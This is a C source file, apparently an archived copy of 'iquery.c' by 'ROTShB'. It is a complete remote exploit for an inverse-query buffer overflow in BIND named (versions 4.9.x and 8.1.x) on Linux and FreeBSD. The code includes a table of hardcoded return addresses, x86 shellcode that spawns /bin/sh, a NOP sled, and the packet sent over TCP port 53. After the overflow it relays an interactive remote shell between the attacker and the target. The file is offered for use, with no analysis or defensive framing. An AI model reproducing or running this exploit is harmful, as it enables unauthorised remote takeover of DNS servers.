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iquery.c
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C/C++ Source or Header
|
2005-02-12
|
10KB
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389 lines
/*
* have fun.
* -ROTShB
*/
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <time.h>
#include <string.h>
#include <ctype.h>
#include <netdb.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <arpa/nameser.h>
#define DEFAULT_TARGET 0
#define DEFAULT_OPTIMIZATION 0
#define DEFAULT_ANBUF_OFFSET 300
#define DLEN_VAL 4
#define NPACKETSZ 512
#define NMAXDNAME 1025
#define PRE_EGG_DATALEN (1+(sizeof(short)*3)+sizeof(long))
#define ALEN_VAL (DLEN_VAL+PRE_EGG_DATALEN)
#define BUFFSIZE 4096
struct target_type
{
char desc[40];
int systype;
unsigned long addr;
unsigned long opt_addr;
int fd;
};
struct target_type target[] =
{
{"x86 Linux 2.0.x named 4.9.5-REL (se)",0,0xbffff21c,0xbffff23c,4},
{"x86 Linux 2.0.x named 4.9.5-REL (le)",0,0xbfffeedc,0xbfffeefc,4},
{"x86 Linux 2.0.x named 4.9.5-P1 (se)",0,0xbffff294,0xbffff2cc,4},
{"x86 Linux 2.0.x named 4.9.5-P1 (le)",0,0xbfffef8c,0xbfffefb4,4},
{"x86 Linux 2.0.x named 4.9.6-REL (se)",0,0xbffff3e3,0xbffff403,4},
{"x86 Linux 2.0.x named 4.9.6-REL (le)",0,0xbffff188,0xbffff194,4},
{"x86 Linux 2.0.x named 8.1-REL (se)",0,0xbffff6a4,0xbffff6f8,5},
{"x86 Linux 2.0.x named 8.1-REL (le)",0,0xbffff364,0xbffff3b8,5},
{"x86 Linux 2.0.x named 8.1.1 (se)",0,0xbffff6b8,0xbffff708,5},
{"x86 Linux 2.0.x named 8.1.1 (le)",0,0xbffff378,0xbffff3c8,5},
{"x86 FreeBSD 3.x named 4.9.5-REL (se)",1,0xefbfd260,0xefbfd2c8,4},
{"x86 FreeBSD 3.x named 4.9.5-REL (le)",1,0xefbfd140,0xefbfd1a8,4},
{"x86 FreeBSD 3.x named 4.9.5-P1 (se)",1,0xefbfd260,0xefbfd2c8,4},
{"x86 FreeBSD 3.x named 4.9.5-P1 (le)",1,0xefbfd140,0xefbfd1a8,4},
{"x86 FreeBSD 3.x named 4.9.6-REL (se)",1,0xefbfd480,0xefbfd4e8,4},
{"x86 FreeBSD 3.x named 4.9.6-REL (le)",1,0xefbfd218,0xefbfd274,4},
{{0},0,0,0,0}
};
unsigned long resolve(char *host)
{
long i;
struct hostent *he;
if((i=inet_addr(host))==(-1))
if((he=gethostbyname(host))==NULL)
return(0);
else
return(*(unsigned long *)he->h_addr);
return(i);
}
int send_packet(int fd, char *buff, int len)
{
char tmp[2], *ptr=tmp;
PUTSHORT(len,ptr);
if(write(fd,tmp,2)!=2)
return(-1);
if(write(fd,buff,len)!=len)
return(-1);
return(1);
}
int attack(int fd, struct target_type t, unsigned long offset, int optimized)
{
char buff[BUFFSIZE], *ptr=buff;
HEADER *dnsh=(HEADER *)buff;
unsigned long i;
int dlen, len=0;
(void)memset(dnsh,0,sizeof(HEADER));
dnsh->id = htons(31337);
dnsh->opcode = IQUERY;
dnsh->rd = 1;
dnsh->ra = 1;
dnsh->ancount = htons(1);
ptr += sizeof(HEADER);
len += sizeof(HEADER);
*ptr = '\0';
ptr++;
i = T_A;
PUTSHORT(i,ptr);
i = C_IN;
PUTSHORT(i,ptr);
i = 31337;
PUTLONG(i,ptr);
if(t.systype==0)
{
char c0de[] =
"\x31\xc0\xb0\x3f\x31\xdb\xb3\xff\x31\xc9\xcd\x80\x31\xc0\xb0\x3f\xb1"
"\x01\xcd\x80\x31\xc0\xb0\x3f\xb1\x02\xcd\x80\xeb\x24\x5e\x8d\x1e\x89"
"\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10"
"\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8\xd7"
"\xff\xff\xff/bin/sh";
if(optimized)
dlen = NPACKETSZ+(NMAXDNAME+3)+8-PRE_EGG_DATALEN;
else
dlen = NPACKETSZ+(NMAXDNAME+3)+(sizeof(int)*6)+8-PRE_EGG_DATALEN;
PUTSHORT(dlen,ptr);
len += PRE_EGG_DATALEN;
c0de[7] = t.fd;
(void)memset(ptr,0x90,(sizeof(buff)-(ptr-buff)));
i = NPACKETSZ-PRE_EGG_DATALEN-sizeof(c0de);
(void)memcpy((ptr+i),c0de,sizeof(c0de));
if(!optimized)
{
(void)memcpy((ptr+(dlen-16-sizeof(c0de))),c0de,sizeof(c0de));
i = ALEN_VAL;
(void)memcpy((ptr+(dlen-16)),&i,sizeof(i));
i = DLEN_VAL;
(void)memcpy((ptr+(dlen-12)),&i,sizeof(i));
}
else
(void)memcpy((ptr+(dlen-4-sizeof(c0de))),c0de,sizeof(c0de));
i = (optimized?t.opt_addr:t.addr)+offset;
len += dlen;
}
else if(t.systype==1)
{
char c0de[] =
"\xeb\x6e\x5e\xc6\x06\x9a\x31\xc9\x89\x4e\x01\xc6\x46\x05\x07\x88"
"\x4e\x06\x51\x31\xdb\xb3\x04\x53\x66\xc7\x46\x07\xeb\xa7\x31\xc0"
"\xb0\x5a\x50\xeb\x50\xfe\xc1\x51\x53\xc6\x46\x08\xb6\x31\xc0\xb0"
"\x5a\x50\xeb\x41\xfe\xc1\x51\x53\xc6\x46\x08\xc5\x31\xc0\xb0\x5a"
"\x50\xeb\x32\xc7\x46\x07\x2f\x62\x69\x6e\xc7\x46\x0b\x2f\x73\x68"
"\x21\x31\xc0\x88\x46\x0e\x8d\x5e\x07\x89\x5e\x0f\x89\x46\x13\x8d"
"\x5e\x13\x53\x8d\x5e\x0f\x53\x8d\x5e\x07\x53\xb0\x3b\x50\xeb\x05"
"\xe8\x8d\xff\xff\xff";
if(optimized)
dlen = NPACKETSZ+(NMAXDNAME+3)+8-PRE_EGG_DATALEN;
else
dlen = NPACKETSZ+(NMAXDNAME+3)+(sizeof(int)*6)+8-PRE_EGG_DATALEN;
PUTSHORT(dlen,ptr);
len += PRE_EGG_DATALEN;
c0de[22] = t.fd;
(void)memset(ptr,0x90,(sizeof(buff)-(ptr-buff)));
i = NPACKETSZ-PRE_EGG_DATALEN-sizeof(c0de);
(void)memcpy((ptr+i),c0de,sizeof(c0de));
if(!optimized)
{
(void)memcpy((ptr+(dlen-16-sizeof(c0de))),c0de,sizeof(c0de));
i = ALEN_VAL;
(void)memcpy((ptr+(dlen-16)),&i,sizeof(i));
i = DLEN_VAL;
(void)memcpy((ptr+(dlen-12)),&i,sizeof(i));
}
else
(void)memcpy((ptr+(dlen-4-sizeof(c0de))),c0de,sizeof(c0de));
i = (optimized?t.opt_addr:t.addr)+offset;
(void)memcpy((ptr+(dlen-4)),&i,sizeof(i));
len += dlen;
}
else
return(0);
return(send_packet(fd,buff,len));
}
int main(int argc, char *argv[])
{
char xbuf[128], ybuf[128];
unsigned long offset=DEFAULT_ANBUF_OFFSET;
int ti, opt=DEFAULT_OPTIMIZATION, sock, i;
int xlen=0, ylen=0;
fd_set rd, wr;
struct sockaddr_in sa;
for(i=0;((target[i].addr)||(target[i].opt_addr));i++);
if(argc<2)
{
(void)fprintf(stderr,"\ntarget types:\n");
for(ti=0;ti<i;ti++)
(void)fprintf(stderr," %-2d : %s\n",ti,target[ti].desc);
(void)fprintf(stderr,"\nerror: usage: %s <host> [tt] [opt] [ofst]\n",
argv[0]);
exit(-1);
}
if(argc>2)
{
ti = atoi(argv[2]);
if((ti<0)||(ti>i))
{
(void)fprintf(stderr,"error: invalid target type %d\n",ti);
exit(-1);
}
}
else
ti = DEFAULT_TARGET;
if(argc>3)
{
opt = atoi(argv[3]);
if((opt!=0)&&(opt!=1))
{
(void)fprintf(stderr,"error: invalid optimization setting %d\n",opt);
exit(-1);
}
}
if(argc>4)
offset = atoi(argv[4]);
if(!(sa.sin_addr.s_addr=resolve(argv[1])))
{
(void)fprintf(stderr,"error: can not resolve: %s\n",argv[1]);
exit(-1);
}
sa.sin_family = AF_INET;
sa.sin_port = htons(53);
if((sock=socket(sa.sin_family,SOCK_STREAM,0))==(-1))
{
(void)perror("error: socket");
exit(-1);
}
if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))==(-1))
{
(void)perror("error: connect");
exit(-1);
}
(void)printf("target : %s\n",inet_ntoa(sa.sin_addr));
(void)printf("target type : %s\n",target[ti].desc);
(void)printf("optimized named : %s\n",(opt?"YES":"NO"));
(void)printf("anbuff addr : 0x%x\n",(unsigned int)
(i=(opt?target[ti].opt_addr:target[ti].addr)));
(void)printf("anbuff addr offset : %lu\n",offset);
(void)printf("ret addr : 0x%x\n",(unsigned int)(i+offset));
(void)printf("fd to make dups of : %d\n",target[ti].fd);
(void)printf("here we go...\n");
switch(attack(sock,target[ti],offset,opt))
{
case -1:
(void)perror("error: attack");
exit(-1);
break;
case 0:
(void)fprintf(stderr,"error: internal error\n");
exit(-1);
break;
}
(void)printf("have fun.\n");
(void)printf("-ROTShB\n");
while(1)
{
FD_ZERO(&rd);
if(ylen<(sizeof(ybuf)-1))
FD_SET(sock,&rd);
if(xlen<(sizeof(xbuf)-1))
FD_SET(fileno(stdin),&rd);
FD_ZERO(&wr);
if(xlen)
FD_SET(sock,&wr);
if(ylen)
FD_SET(fileno(stdout),&wr);
if((ti=select((sock+1),&rd,&wr,NULL,NULL))==(-1))
{
(void)perror("error: select");
break;
}
if(FD_ISSET(fileno(stdin),&rd))
{
if((i=read(fileno(stdin),(xbuf+xlen),(sizeof(xbuf)-xlen)))==(-1))
{
(void)perror("error: read");
exit(-1);
}
else if(i==0)
break;
xlen += i;
if(!(--ti)) continue;
}
if(FD_ISSET(sock,&wr))
{
if(write(sock,xbuf,xlen)!=xlen)
{
(void)perror("error: write");
exit(-1);
}
xlen = 0;
if(!(--ti)) continue;
}
if(FD_ISSET(sock,&rd))
{
if((i=read(sock,(ybuf+ylen),(sizeof(ybuf)-ylen)))==(-1))
{
(void)perror("error: read");
exit(-1);
}
else if(i==0)
break;
ylen += i;
if(!(--ti)) continue;
}
if(FD_ISSET(fileno(stdout),&wr))
{
if(write(fileno(stdout),ybuf,ylen)!=ylen)
{
(void)perror("error: write");
exit(-1);
}
ylen = 0;
if(!(--ti)) continue;
}
}
if(close(sock)==(-1))
{
(void)perror("error: close");
exit(-1);
}
exit(0);
}